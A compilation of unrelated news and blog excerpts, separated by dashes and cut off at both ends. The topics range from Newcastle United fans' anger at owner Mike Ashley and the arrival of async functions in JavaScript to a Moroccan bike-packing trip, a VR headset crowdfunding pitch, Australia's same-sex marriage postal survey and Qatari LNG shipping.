invest in players, and we're going to plan to be successful.' "He's been in charge nearly eight years now and any sane person can tell that's not going to happen. "The club have said that cup competitions aren't a priority and they mean it. To remain in the Premier League is the overall aim. But survival -- what does that offer fans?" Ashley is a fabulously wealthy man, and a controversial one. He has grown his Sports Direct empire significantly since acquiring Newcastle, piggybacking on the Premier League's profound global reach to spread its name far and wide. From a turnover of $1.8 billion in 2006, it recently announced a "record" 15% rise in annual pre-tax profits to $359.8m and a turnover of $4.05bn. There are stores in 19 European countries and an expansion into Australia and New Zealand is planned. But the company, whose logo is plastered all over Newcastle's St James' Park stadium, has been criticised for employing an estimated 75% of its staff on zero-hour contracts — that guarantee no set hours each week. The retailer's chairman, Keith Hellawell, told a British parliamentary committee that 15,000 of its 19,000 staff were on such terms, arguing it offered flexibility for what is, predominantly, a young workforce. The club argues it is unable to compete with the untold riches at the disposal of fellow top flight clubs like Chelsea and Manchester City, and Ashley has tried desperately to drive up revenue. NUFC don't just require a new manager and new players. The club needs fumigating. — George Caulkin (@CaulkinTheTimes) April 13, 2015 The 123-year-old St James' was temporarily renamed The Sports Direct Arena in 2011 to try and attract a naming sponsor. It was a move that infuriated fans. And the decision to sign a shirt sponsorship deal with payday loans company Wonga is one that stoked anger in what is, traditionally, one of the most economically deprived regions of the country. "Like a lot of fans, I think (the association) is cheap and tacky and undermines the values of what the club stands for," the leader of Newcastle City Council, Nick Forbes, told CNN. "As leader of the council it really concerns me we've got a toxic brand like Sports Direct, with the zero hours culture it promotes, and Wonga and the payday loans it promotes. To have both of those concepts sponsoring our football club is deeply unfortunate. "As a council we are having increasingly to pick up the pieces of people whose lives have been shattered both by zero hours contracts and by loan sharks. "Newcastle United has such brand recognition it penetrates into some of our poorer communities in a way that others can't and I find it absolutely appalling that's the message they get. "It doesn't feel that there's any social responsibility. "Because there's only one Newcastle United I think there's a reliance on fans as cash cows to keep supporting the club come what may. "I think there's been a calculated business decision to keep milking that cash cow without generating the football returns that people expect." Sports Direct declined to respond when contacted by CNN and questions to both Wonga and Newcastle United were unanswered. While Ashley's appetite to grow his retail business appears limitless, he has insisted on a far more frugal modus operandi at Newcastle. The club seeks to unearth bargains in foreign markets then sell them on for huge profits when they reach peak value. United's stated aim is a 10th place finish or higher in the Premier League while the two domestic cup competitions are "not a priority." But Newcastle are on an unquestionably sound financial footing. Ashley has turned a traditionally debt-laden outfit into one that turned an $28.05 million profit in the 2013/14 season, recent accounts showing it had a $51m surplus in its bank accounts. The club's managing director Lee Charnley trumpeted the figures as a "reflection of the prudent and measured manner in which we operate." But fans are at a loss to explain why a man whose fortune amounts to $4.5 billion, according to Forbes, seems so reluctant to chase success for a club that is the 19th wealthiest in Europe. "People are miserable, fed up," Forbes added. "Newcastle's current performance is like a permanent cloud over the city. "The club feels soulless — an island. In the same way the senior management doesn't have any engagement with fans, they don't have any engagement with the city either. "People have worked out the current owner has a business model, which is participating in the Premier League but not winning it. "What people see is a disinterested owner, interested only in the cash the business generates, not the trophies it could produce." Just like last year, Newcastle are stumbling towards the end-of-season finishing line. In January 2014 it sold its star player Yohan Cabaye to Paris-Saint Germain for $28.5m, making a cool $22.5m profit in the process. No replacement was hired, the money was banked and its season quickly nosedived. A year on, history is repeating itself. Manager Alan Pardew left for Crystal Palace — a much smaller English top flight club — and was replaced by his assistant, John Carver and Newcastle signed no new players. They have won two out of 14 games since and its threadbare squad contains only two fit defenders. They are leaking goals, losing games and haemorrhaging confidence. Fans, having suffered one relegation under Ashley's ownership in 2009, are fearful of another. Protests have been audible at matches, now the Toon Army are planning to vote with their feet. "There has been a numbness and with Ashley twice failing to sell Newcastle, there has also been a powerlessness," George Caulkin, north east correspondent for The Times newspaper, told CNN. "A huge part of the North East tradition is simply turning up at the football — turning up no matter how bad it gets, turning up and bearing witness, turning up and singing, turning up, regardless. "It is like being locked in a loveless marriage. The fact some people are now considering not turning up at all shows how much alienation is around." Mark Douglas, who covers United for two local papers The Chronicle and The Journal, says fans find it hard to believe the club when it says it will invest healthily in the summer. "Most Newcastle fans say they've heard all that before," Douglas explained. "It's the second season that it has drifted after Christmas and it's created this toxic atmosphere. "They have lost all the faith and belief of the supporters who don't believe in what Ashley is trying to do any more. The identity of the club has been lost in the last seven or eight years. "It has culminated in a feeling that this club is happy just to exist. They're not interested in glory or in winning things any more. You can see it in the way the players are the results have gone. "It's a slow evaporation of what NUFC is all about." In the early 90s, Newcastle were dubbed 'The Entertainers' for a swashbuckling style under manager Kevin Keegan, and came close to winning the Premier League in 1995/96. After losing successive finals of the FA Cup — England's premier cup competition — in 1998 and 99, the late Sir Bobby Robson led Newcastle to a third placed finish in the Premier League in 2001/02 and into the European Champions League. Keegan returned at the start of the Ashley's reign but later resigned in protest at how the club operated. Fans demonstrated and Ashley vowed to sell, but he could not find a buyer. Keegan was subsequently awarded $3m by an independent arbitration panel, that rejected some of the club's evidence as "profoundly unsatisfactory." Newcastle finished fifth in 2012, narrowly missing out on a return to Europe's top club competition, as a slew of signings gelled together. Finishes in the Premier League of 16th and 10th have followed. But while those flirtations with glory under Keegan and Robson have shown fans could be possible, Douglas says the ambitions of supporters are much more grounded these days. "Newcastle's fans are often painted as delusional, believing that they should be regularly in with a shout of winning the league," Douglas explained. "Having lived and worked here for eight years that idea is complete rubbish. "What Newcastle fans want to see is a club that, even if it fails, it is at least trying to be the best it can be. That means attempting to win things, taking a few risks. "It could be a northern powerhouse. At the moment, it's almost a shell of a club, it exists just to exist and that's not what fans want from a club that is supposed to represent the city much better." There have been protests before but Ashley has ridden the storm. Whether a groundswell of support for the boycott on social media translates into an embarrassing number of empty seats in what is a televised match on Sunday, remains to be seen. But even if it does, fans are unlikely to hear what their publicity-shy owner thinks about it. "Does Ashley care? As it is impossible to get close to him, so it is impossible to answer," Caulkin explained. "The evidence of recent years will probably make him feel he can just about get away with anything and people will still troop through the turnstiles. Is that different now? "In the final analysis, he'll only go when someone meets his asking price, but there can be a value in protest for protest's sake, in saying that this is not good enough, that more should be expected, that a club is not just about profit margins but a collection of human beings brought together for a common cause. "Sometimes a howl of anguish is all that there is left." -Colin Fraser has cleared waivers, per Lisa Dillman of the LA Times: Pausing in a break between slopestyle and moguls, we have bit of Kings news. Told by them that Colin Fraser cleared waivers. — lisa dillman (@reallisa) February 9, 2014 Placing Fraser on waivers allows the Kings additional flexibility in advance of the lifting of the NHL’s trading freeze at 8:59 p.m. PT on Sunday, February 23. More about this flexibility can be found on yesterday’s posts about the subject here and here. This move does not necessarily mean that Fraser will join the Manchester Monarchs, though he could technically be assigned to Manchester in a “paper” transaction without reporting, as the added salary cap flexibility was the key consideration of yesterday’s transaction. I’m hoping to hear more about what this means for Fraser and how he fits within the Kings’ plans, but keep in mind a much firmer sense will be had after the lifting of the trade freeze and with any hypothetical trades. UPDATE, 12:25 PM PT: After speaking with the Kings, the plan is for Fraser to report to Manchester “later next week.” -It was excruciatingly hot for most of the day, until the last 15k when we were treated to a wonderful shower of rain… and hail. We sought shelter underneath a hanging rock and enjoyed the relief from the heat. We finally arrived, soaked and covered in dirt, at the refuge at La Cathédrale. The owner asked us where we had come from. “Anergui”, I told him. “Anergui?” he exclaimed, “But there are no tracks there anymore.” The confused owner was right, there’s no road anymore, not even for 4 x 4’s, but on a mountain bike it’s possible to ride there – but it’s not easy. Especially not after the ride we had the day before. We were on a 550km bike-packing adventure through the High Atlas. We started in Tinerhir, and went through the Gorge du Todra, over 8 days. We crossed the High Atlas from east to west, then went back to the south over the M’goun mountains to Boulmalne de Dadès, our finish. The views in Morocco are fantastic. Everything seems so desolate, no houses or other buildings. Occasionally we’d see a shepherd surrounded by sheep and donkeys. Around the villages, kids would chase us on foot, their main interest not in us but for cigarettes. On the third day, we were up early and left the small village of Bou-Zemou and began the very long, but gentle climb into the mountains. We could see remote houses in the distance – these people probably didn’t see tourists that often, let alone bikers. A narrow cut track (piste coupée) was the only thing that was separating us from our pass and the valley far below. The route down is a 5k track losing 1200m in altitude. The track starts with a steep downhill path. It seemed to have been used before, so we figured we were on the right track. Soon, however, it became impossible to cycle. Plants, branches and large jutting rocks littering the tracked resulted in us changing the plan and continuing on foot. In the extraordinary heat of the day, we quickly tired and our water rations were depleting rapidly. Despite knowing our destination for the night was not too far off, we were in trouble… Getting off the mountain was draining us mentally and physically. The descent took a huge a toll on my shoulder and arm, which is held together with titanium nuts and bolts after a riding accident in Belgium earlier in the year, so I took a break, and sat there enjoying the view, and considering my options. I could seriously use some help, but my three friends were having their own problems so I was pretty stuck. -The proposal to include async function in ECMAScript has reached stage four; that means it’s on track to be in the 2017 release of the standard. But what does that mean for JavaScript developers? There’s a lot of interest in async, the capabilities JavaScript will need to easily execute multiple functions in parallel. “Because JavaScript is single-threaded, that means if you have any long-running work it has to happen asynchronously for your app to remain responsive or it would just block and your browser would freeze,” said Anders Hejlsberg, the lead architect of C# and now also a core developer for Microsoft’s TypeScript transpiler for JavaScript. So the JavaScript runtime libraries and all the frameworks are designed such that they only have asynchronous ways of doing things. If you want to do an expensive operation like an XML HTTP request, you don’t get to block and await for the result; you get to supply a callback that calls you back later with the result.” “There’s a huge amount of excitement out there; people are looking forward to when they can use async functions without transpilation,” said Brian Terlson, from Microsoft’s Edge team, who is the editor of the ECMAScript standard as well as “champion” for the async proposal on the TC39 committee that standardizes ECMAScript. When he tweeted that the async proposal had reached stage four, it got more retweets than anything else he’s tweeted. Async functions are now stage 4 and will be included in ES2017! — Brian Terlson (@bterlson) July 29, 2016 “Async programming models allow developers to ask all their questions at once. Developers then react to the answers as those answers are provided. The application is constantly adjusting to the information as it comes in. The user experiences a dynamic application that updates itself instead of being forced to wait an unbounded time for a perfect completed view,” said Naveed Ihsanullah of Mozilla’s platform engineering team, and partly because it’s going to make code more understandable. “Asynchronous programming is very important for developing the best user experiences. Information is in many places and modern applications seek to seamlessly integrate all those disparate sources into one cohesive view. The instantly loaded and completed web page is all illusion, however. Behind the scenes, numerous requests for information are made on the user’s behalf. Some of these are answered quickly and some may take longer. Some may go unanswered altogether,” he said. The whole web platform is moving in this direction, pointed out Terlson. Async going into ECMAScript 2017 is “a reflection of the fact that more and more things in the platform are asynchronous, so your code ends up having to deal with more asynchrony. Talking to a web worker is an asynchronous kind of thing, as is any kind of networking. Storage APIs are asynchronous. Service workers are doing a bunch of network stuff, so they’re asynchronous. The new Streams API has a lot of asynchronous pieces in it. As new APIs are added, we’re just discovering more and more sources of asynchrony as the platform grows in capability, so it permeates your code.” The growth of APIs that add asynchrony means JavaScript needs better ways of handling that in code than callbacks. “If you have just one source of asynchrony a callback is OK but if you’re got a lot of them it sucks, and it’s also painful for performance reason with lots of functions created and thrown away.” Essentially, notes Terlson, reiterating over the HTML Document Object Model (DOM), again and again, isn’t efficient. Making Async Bearable He views async as a ‘vast improvement’ over callbacks because “there’s no pyramid-of-doom nesting callbacks” and Ihsanullah agreed. “While async programming has many benefits, writing applications in this style is often complex and tedious. The JavaScript language has had low-level async facilities, such as XMLHttpRequest, for years. These lower level callback-based constructs were very difficult to work with, difficult to maintain and difficult to debug. They could degenerate the source code to Callback Hell as multiple nested requests were made. Asynct has the potential for greatly decreasing the barrier to writing high quality maintainable asynchronous code. These developer benefits translate directly to more responsive applications for users as more async is used.” In many ways, this is JavaScript catching up with other languages, like C# which pioneered asynchronous programming, and the way asynchrony will work in JavaScript is very similar to how it’s handled in C#, Hejlsberg said. That makes code easier to read and to think about. “JavaScript is a single-threaded execution environment. If you want anything to happen as a result of asynchrony, you’ve got to do through callbacks or someone has to call you, because only there’s one thread of execution. If someone else has it, they’ve got to give it up and let you run. So from day one, JavaScript always had callbacks like setTimeout or like DOM events; all that happens by someone calling you back. The problem is how complex the code structure becomes with a lot of callbacks, and how hard that makes it to work with, Hejlsberg said. “The logic often becomes more complex; what if you have to have conditional branching or you have to have the equivalent of a for loop but with async calls in middle of the loop? You can try to do that mapping yourself, where you have to lift your state into shared object or shared variables and maintain that, but you basically have to write a state machine yourself. State machines are something computers are very good at reasoning about and humans are horrible at reasoning about!” Async takes care of that, he explained. “It turns out that you can mechanically transform code that’s written in the regular sequential style into asynchronous code using CPS, Continuation Processing Style code rewrites. You can rewrite any program that uses synchronous function calls with returns and turn them into functions that take callbacks — and that’s what powers async. You get to write your code as if it is synchronous and then the compiler rewrites it into asynchronous callback-based code for you and turns your code into a state machine.” That’s the best way to think about the new async/await feature, he suggests. “The places where you use the await operator to await an asynchronous piece of work, the compiler automatically makes a callback out of the rest of your code.” “The big benefit is you get to write your code the way you always have. If you need an if statement, you write an if statement, if you need a for loop you write a for loop, and inside those you can say await and then have control return and then come back whenever the async work completes. People are very excited about that, because it makes your code look a lot cleaner and it’s a lot it’s easier to reason about your code.” As Terlson notes, “For the most part you don’t have to worry about the fact that you’re calling an asynchronous API; you just await it and go about your day. If the promise is rejected you get an exception thrown by async, so you can write asynchronous code that looks like synchronous code and handle errors with normal synchronous imperative code.” You still have refactoring to do. “When you make a function an async function, code that calls it gets a promise instead of a value, so you do need to change the calling code to async as well, and await the result.” But that’s far easier to do with async because the code itself is less complex. “You can even await non-promises. There are some APIs that return promises but sometimes if they know a value synchronously they just return it, so if you await the API result the right thing will happen.” Being able to write code using these familiar, synchronous patterns while getting all the benefits of asynchrony “greatly simplifies writing code for dynamic and responsive web applications” said Ihsanullah. He suggests thinking of it as a “syntactic wrapper over JavaScript promises and generators” and points out that “understanding these features will greatly facilitate a developer’s understanding of async” and “experience with promises is probably mandatory.” Understanding that async and its related function await is based on generators and promises will help you deal with more complex asynchronous code, he said. “Await currently only allows waiting on one thing a time. A developer recognizing that these async functions are promises, however, could then use await Promise.all(…) to wait on several actions.” Browsers Getting Ready for Async At one point, async seemed a slightly controversial proposal. “There was some concern around whether blessing promises as the async pattern is the right choice or something more like tasks that could swap out other things under the covers,” Terlson explained. But at that stage there hadn’t been many implementations beyond Microsoft’s Edge browser (starting as an experimental feature in Edge 13.10547 back in September 2015 and moving to an unprefixed version in the Windows Insider preview build 14986). “Then Google V8 started implementing it and as we got more implementation experience, and people were convinced there were not problems for performance and so on, that helped.” Plus, explained Ihsanullah, JavaScript needed those building blocks of async: promises and generators. “While promises, by virtue of being implementable in JavaScript, have been usable in browsers for a few years, generators are a more recent addition to the language.” And getting the syntax to reflect the way developers use functions is important. “It started with arrows. Then generators. And now async functions. To the standards committee and to the community, ergonomics of the language matters.” Now async functions are enabled by default in Chrome, since Chrome 55 (Google’s Jake Archibald called them “quite frankly marvelous”) and they’ve been in the Firefox nightly releases since November 2016 (the plan is to support them in Firefox 52). Opera 42 and later support async, and it’s under development in Safari. Transpilers And with transpilers like Babel and TypeScript, you can even write async code and have it run in older browsers, as well as being confident it will work in the latest browsers as they add support. It’s a lot more work to support async without generators, which is why it used to only be possible to transpile async code to ECMAScript 2015 in TypeScript, and Babel has different techniques depending on which version of ECMAScript you want to target. But now TypeScript 2.1 lets you go all the way back to ECMAScript 3, said Hejlsberg. “Once you rewrite your code into a state machine, if you have generators then the transformation is relatively simple — rewriting an async function with awaits in it into a generator is almost trivial. But if you don’t have generators it is much more complex — because now you have to wrap a state machine around your code and effectively every place you see await, the function has to return and then when control comes back it has to jump back there and continue executing. And since there are no gotos in JavaScript, that’s complicated. So you have to write a while loop with a switch statement with a bunch of machine-invented states that you then maintain. The rewrite that happens to your code is complex and getting that rewrite correct is not simple. “With TypeScript 2.1 we switched to a new emitter; this is the backend of the compiler. It’s a tree writer that rewrites your syntax trees to make these new state machines and the other fancy stuff you have to make, so we now natively support rewriting async await to ECMAScript 3. And it’s not just doing the simple cases where you can only use await at the top level not in the middle of an initialise or for a property of an object literal — no, it’s an operator like any other, so just like you can say plus, you can say wait.” Browsers and transpilers aren’t the only place async needs to be supported for it to become mainstream of course; frameworks and libraries also need to support it. “If you want to write async style code but you have a bunch of frameworks that weren’t written in that style, those frameworks are still going to do callbacks,” he points out. “Async works fantastically if you have a promise based library that you’re coding against. Often, though, libraries are not promise-based and then you have to promisify them or find a promisified version of that same functionality. That will be the challenge, because that’s the glue that connects you from the callback to the async world.” Expect that to take time to happen. “As with anything, it’s not happening overnight but there’s going to be an increasingly gradual shift and modern frameworks getting written now will use promises for all their async — and that means it will be a lot easier to consume them with async code. It’s going to be this wave that slowly washes over as opposed to something that happens overnight.” Announcing that async will be in ECMAScript 2017 will help with this. “Library authors will have to transpile async for some time,” Terlson predicts, “but they can now be confident it’s a future direction for JavaScript so they can use it and not be concerned it’s going to be broken by future language changes.” And of course, writing asynchronous JavaScript will be new to many developers. “If you’re not using a transpiler today, you haven’t used async functions,” Terlson points out. Anyone already using async is an early adopter, but as ECMAScript 2017 moves towards ratification, now is the time to start looking at how it can improve your code. Feature image via Pixabay. -IN a bid to woo Muslims, Mulayam Singh Yadav Sunday said if voted to power, his party would ensure amendments are made in the Constitution for their reservation and said only the SP could prevent Narendra Modi from becoming the Prime Minister. Advertising “Muslamano ne desh ko banaya hai aur musalamano ke liye sanvidhan mein sanshodhan karke arakshan diya jayega (Muslims have made this country, and for Muslims, amendments would be made in the Constitution for their reservation),” the SP supremo said at Government Inter-College Grounds in Etah. While addressing another election rally backing Akshay Yadav, son of SP national general secretary Ram Gopal Yadav, he said, “Only the SP could prevent Modi from becoming the PM.” Mulayam said Modi claims that the SP was “spying on BJP people but in reality BJP people were themselves informing him about everything”. He also hit out at Modi saying his development claims in Gujarat are all lies. Claiming that there was internal split in the BJP, Mulayam said the BJP would never be able to touch the figure of 272 seats in the Lok Sabha elections. He exuded confidence that the third front would form the next government at the centre and the SP would get the highest number seats in LS. Attacking the Congress, he said its leaders speak in English, but seek vote in Hindi during poll campaigns. The SP chief also took a dig at Union minister and Congress leader P Chidambaram, saying he was afraid of contesting polls. Addressing an election rally in Hathras, Mulayam said it would be decided after the elections as to who would be the Prime Minister in the third front government. Advertising The former defence minister accused the UPA government of failing to provide adequate facilities to soldiers on the border. With parties in UP trying to woo Muslim voters, he claimed the SP enjoyed the support of 80 per cent members of the community in the state. -Lorenzo stated earlier in the season that he’ll help Dovizioso if and when the time comes, a situation that’s edging closer to becoming a reality as the Italian sits just 11 points behind Honda star Marc Marquez with three rounds to go. Speaking at an event for sponsor Tissot in Melbourne today, Lorenzo said he still considers it too early to be potentially giving up a win just to help his teammate. According to the Spaniard, he might be willing to forego a victory at the final round in Valencia – but the top step of the podium is still fair game for both factory Ducati riders in Australia and Malaysia. “Probably not for the next two races,” he told Motorsport.com when asked if he’d sacrifice a win to help his teammate. “It would be different in Valencia for the last race, but for now, if I have the chance to win… normally [a position change] shouldn’t happen. “If it was fighting for another position maybe, but for the win, maybe it’s still too soon.” Lorenzo also reiterated his frustration at not having already broken his duck on the Ducati, singling out the Misano and Motegi races as genuine missed opportunities. “We’ve missed some great opportunities,” he added. “For example at Misano. I had a real chance to win, I was leading by five seconds. But the conditions were very delicate, and I made a small mistake and crashed. “Also in Motegi, I believe I had a good chance to win. But then came the heavy rain, and I didn’t have the same feeling as in the normal wet conditions. I struggled more than I expected. “For me, Motegi was the greatest chance to win. “Maybe here at Phillip Island we have a small possibility, and in Malaysia even more. But I’m disappointed about the race in Motegi, to be honest. “But, you know, you need to look forward, forget the past and concentrate on what you can do now.” -More rumors are cropping up about the 64-bit Exynos processor that Samsung is expected to debut with the Galaxy S5. According to a new report by the Korean media, the 64-bit processor, the first of Samsung’s Exynos 6 series of chipsets, will be accompanied by 4GB of RAM, making use of one of the biggest advantages of 64-bit processing support. Samsung has already beaten other manufacturers by being the first to use 3GB of RAM (on the Galaxy Note 3), and 4GB of RAM would be the next logical step. Personally, I hope that the Galaxy S5 does have 4GB of RAM, as 3GB of RAM hasn’t exactly provided the boost in multitasking I thought it would on the Note 3, all thanks to all the unnecessary stuff TouchWiz and Samsung’s add-on features keep running in the background, so another gig of RAM would go a long way towards actually showing some advantages of having more memory than normal. Source -Virtual Reality is BACK! Amusing, fantastic, entertaining, informational, unbelievable, fascinating, impressive, exciting, captivating…these are some of the adjectives that come from those who experience VR today. Virtual Reality was first introduced two decades ago but failed to engage consumers due to the lack of technologies, expensive hardware and limited software, making its application costly, its scope small and its implementation highly inefficient and unfeasible. Fast forward to the present: updated emerging technologies, innovative software and design developments, global infrastructure… In conjunction with a globally competitive market and innumerable talented app developers, virtual reality is finally making a strong comeback. Don’t be mislead, virtual reality is not only for gaming; VR applications can also be used in various sectors and fields - business, sports, media, education, healthcare, architecture design, film, among others. It is an experience that enables one to experience a different reality – hence, “virtual reality” – that otherwise one will not be able to experience due to limitations, say experiencing a flight simulation in high altitude as a test pilot, or to be in an entirely new world under the immense pressure of ocean depths as an underwater explorer. With ultra high-speed smartphone processing capability today and 1.75 Billion smartphone users worldwide, experiencing virtual reality is easier than ever. What is XG VR? XG VR is a head-mounted device that uses your very own smartphone to let you immerse into the virtual world. Our premise is simple: Virtual reality is fun, and we believe that everyone should be able to experience it. You CAN be that test pilot without undergoing the years of training to actually experience being one. You CAN be that underwater explorer. You CAN be anything, anyone, anywhere. Gone are the days when you needed a bulky, expensive PC to run an application, right now it can be found at the palm of your hand – the indispensable smartphone. With its high resolution and processing power, it is now possible to experience a virtual reality immersion with the gadget you already have. All you need is a virtual reality viewer; hence, we came up with the XG VR for you. Where you can be virtually anyone, anywhere, anything you want to be. Who is I AM Cardboard? We’re tech geeks, engineers, designers, dreamers… and as it turns out, our adventure with VR all started after seeing the Google I/O presentation online. We love new technology, ideas and gadgets, and we wanted to have our very own Google cardboard virtual reality kit. Like most people, we printed out the templates, on a piece of ordinary A4 paper, to make our own. But we quickly found out making one with scrap cardboard boxes, cutters, and excited resolve didn't really cut it - it wasn't as easy as it looked. We didn't want to settle for any flimsy looking structure or a second rate lens... after all, we were going to be the ones using it. Yes, we went a little overboard making our own I AM CARDBOARD design, with the original intention of being used by a handful of tech-geeks' personal use only... but in the end, we thought, why stop there, and instead share the ease and convenience with the community instead? With the strong network of quality suppliers and logistic partners, we were able to deliver. We specialize in end-to-end supply chain management, ensuring that products and services promised and agreed will be fulfilled to our clients and customers globally. What has been done? After the success of our virtual reality cardboard kit, we wanted to push the envelope even further. Reading countless feedbacks and suggestions from the community has resulted in the next, most logical step in VR progression and development: the creation of the XG VR. Durability, compatibility, affordability - all of which was taken into account into our initial design considerations. From there onwards, We have gone through several sketches and concepts, all undergoing several prototyping phases - updating the design, reducing the weight, reusability, ease of use - to come out with our launched version. A sturdier, more comfortable VR headset that is future proof - compatible with multiple phone sizes - so even if you upgrade your phone, chances are, you can still use the XG VR. You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with sound 00:00 00:00 But things do not stop there: Further improvement and upgrades will still continue. Any time during the kickstarter campaign, we will continue to hear your opinions, and integrate them into future design considerations which may help for the improvements to the final product. What are the features? How do you attach your phone? You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with sound 00:00 00:00 How the bluetooth clicker work ? You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with sound 00:00 00:00 Stretch Goal ? When can we deliver? How you can help ? -The Turnbull government’s decision to put the Australian Bureau of Statistics (ABS) in charge of a voluntary postal plebiscite on same-sex marriage has left many scratching their heads. It was expected the Australian Electoral Commission (AEC) would run the vote, not the body responsible for the five-yearly census. By giving the job to the ABS, the government has sidestepped questions about its constitutional authority to pay for an AEC-run plebiscite. But it has opened up new avenues of legal challenge and established a process that lacks legitimacy. Further reading: Explainer: with no free vote for now, where next for marriage equality? Legal questions On Wednesday, Treasurer Scott Morrison directed the Australian Statistician to ask the ABS to collect statistical information about the proportion of electors who are for or against the law being changed to allow same-sex couples to marry. This information is to be requested on a voluntary basis. The same day, independent MP Andrew Wilkie and two others announced they would launch a High Court challenge against the ABS poll. It is likely that at least two grounds of challenge will be put. The first concerns the power of the ABS to run the plebiscite. Under the Census and Statistics Act, the Australian Statistician can, if directed by the minister, collect “statistical information” on a range of prescribed matters, including “births, deaths, marriages and divorces”, “law”, and “population and the social, economic and demographic characteristics of the population”. Separately, the Australian Bureau of Statistics Act provides that one of the functions of the ABS is “to collect, compile, analyse and disseminate statistics and related information”. The key question is whether information about Australians’ opinions on same-sex marriage is “statistical information”. Surveying people on their views about marriage is very different from collecting factual data about, say, the numbers of marriages taking place in Australia. And given the postal ballot will be voluntary, the views of some social groups (like those more likely to use postal services) will feature more heavily than others. Arguably, such an “unweighted” data set falls short of the rigorous standards of “statistical information”. More broadly, if opinions about marriage law are considered “statistical information”, it is hard to think of what sorts of information do not fall into that category. Is it the case that any collection of data is a statistical exercise? If so, the ABS’s powers are very broad. The second legal question concerns the government’s authority to spend money on an ABS-run postal vote. Finance Minister Mathias Cormann acted quickly to source the A$122 million required from a little-used “advance” appropriated by parliament in this year’s budget. However, the minister’s advance fund is reserved for “urgent” and “unforeseen” expenditure. It is doubtful that spending on a postal plebiscite falls into either of these categories. By way of comparison, in 2016 the government gave the AEC $101 million in “advance” funds to help it implement major changes to Senate voting in time for the July federal election. There is no similar urgency in a vote on same-sex marriage. And, if anything, the need to spend money on same-sex marriage poll was entirely predictable. The government’s budget papers anticipated spending $170 million for this purpose. The ABS is poorly equipped Legal questions aside, the ABS is poorly equipped to run a plebiscite on same-sex marriage. It has significant expertise in collecting factual information on the economy, housing, crime and many other matters that is of immense value to governments and researchers. But it has never run a poll of this kind. The closest precedent occurred more than 40 years ago. In 1974, the ABS conducted a telephone survey of 60,000 Australians, asking for their preferences on the national anthem. But that is altogether different from the massive logistical exercise of administering a postal ballot for 15 million voters on a contentious social issue. The stakes are higher and the risk of mistakes is greater. And there will be little tolerance for error. For the ABS, even the basic task of sending out ballot papers will not be straightforward. Unlike the AEC, it does not have direct access to the electoral roll. The Commonwealth Electoral Act sets down rules about who can access the electoral roll and for what purpose. Under regulations, the AEC “may” provide the ABS with information on the roll for the purpose of “collecting, compiling, analysing and disseminating statistics and related information”. It would therefore be open to the AEC to refuse the ABS access to the roll, including on the basis that a poll on marriage is not about “collecting statistics”. Assuming that the ABS gains access to the roll, it is unclear whether it will be able to send ballot papers to all registered voters. The position of silent electors is particularly uncertain. The addresses of silent electors are not displayed on the roll: to do so would put their safety, or the safety of their family, at risk. Also, the AEC is not permitted to provide information about silent electors to agencies such as the ABS. As a result, silent electors may wonder if they will be able to participate in the poll. The addresses of eligible overseas voters also do not appear on the roll. However, Cormann has said they will receive ballot papers provided they have “registered as an overseas voter and provided their overseas address”. More generally, the ABS lacks the AEC’s institutional capacity when it comes to conducting nationwide votes. These are highly complex exercises, which involve distributing, collecting and transporting ballot papers, and then counting them quickly and securely. Cormann has said AEC officers will be seconded to the ABS to “assist” the process. Other problems ABS involvement in the plebiscite raises particular problems, but the shortcomings of a voluntary postal vote go well beyond who is administering it. Even if turnout is high, we cannot be confident that the result is representative of community opinion. For example: Young people move address more frequently than the rest of the population and are less likely to receive the ballot papers. Homeless electors and grey nomads may also find it hard to participate. Communities with limited access to reliable postal services (including Indigenous people living in more remote parts of Australia) may be disadvantaged. Also worrying is that the postal vote will take place without the usual protections of election law. Campaigners will be able to circulate unauthorised material – including posters and pamphlets with harmful messages about same-sex couples and their families – without fear of legal consequences. And, if the result is close, there will be no clear process for resolving claims about the formality of votes and other contentious administration issues. It should be abandoned The voluntary postal vote on same-sex marriage should be abandoned. Not only does it rest on shaky legal foundations, it risks damaging the standing of two of our most trusted national institutions. The absence of standard legal protections is worrying, and the polling method is so flawed that neither side can have confidence in the outcome. And, at the end of it all, the result is non-binding. The federal parliament is the only institution that can resolve the issue of same-sex marriage definitively. It should do so now, without resorting to such a flawed and expensive venture. -Cambridge academics are being discouraged from using terms such as genius, brilliant or flair in feedback for fear of alienating female students. It is one of a series of moves lecturers say will help women – including changing exams and even removing portraits of men from the library. Dr Lucy Delap, lecturer in modern British history, said ‘vague talk of genius, brilliance [and] flair carries assumptions of gender inequality’. She said some women ‘don’t find it very easy to project themselves into those categories’. Lecturers say the move will help women feel more at home in academic environments Some female students suffered ‘imposter syndrome’ – where they feel they don’t belong – in a ‘male-dominated’ environment, said the academic. Dr Delap revealed exams were being overhauled in a bid to tackle a ‘gender differential’ which sees women outshone. This could mean more coursework, take-home exams, group work or a portfolio of essays. It follows Oxford University’s decision to allow students to take a history exam home in the next academic year, in order to help more women get top results. Reading lists are being reassessed to include more female historians, and there are plans to replace some portraits of men with women in the library. Discussing the ‘male-dominated environment’ at Oxbridge, Dr Delap, deputy director of history and policy at Cambridge University, told Radio Four’s Today programme: ‘If you look at just something as simple as the art on the walls of a college, they’re often by men and they depict men and often they’re white men as well.’ Portraits of men are being replaced with some portraits of women in the library The academic said they also tried to avoid words such as ‘flair’ in feedback as ‘students don’t understand what flair means’. But Professor Alan Smithers, of Buckingham University, said: ‘It seems to me wrong to look at this from the point of gender – imagine the outrage if we were adjusting things for the sake of men. ‘It’s patronising and wrong to think they have difficulty with terms such as genius.’ In 2015-16, 31 per cent of women gained firsts in history at Cambridge compared with 39 per cent of men. A university spokesman said it was reviewing subjects to see how it could address ‘variations’ between different groups. In Oxford academics yesterday lost a fresh attempt to challenge rules forcing them to retire at the age of 67. Staff voted down a call to axe the ‘employer-justified retirement age’. Campaigners are now expected go to one of the university’s regulatory committees to argue their case. -RAS LAFFAN, Qatar — The temperature hovered around 100 degrees on the jetty here, where a set of pipes were connected to a giant red-hulled ship. But the moisture in the air froze on the pipes and flaked off, creating snowlike flurries on the early summer evening. The incongruous sight is common on the Qatari ship, the Al Rekayyat, which carries a frigid fuel known as liquefied natural gas. Natural gas, when chilled to minus 260 degrees, turns into a liquid with a fraction of its former volume. The process has reshaped the natural gas business, allowing the fuel to be pumped onto ships and dispatched around the world. After investing tens of billions of dollars, Qatar is at the forefront. Part of the emirate’s fleet, the Al Rekayyat, run by Royal Dutch Shell, goes to Fujian in China and Yokkaichi in Japan, as well as Dubai and Milford Haven in Wales. -Foster Farms Bowl: Indiana 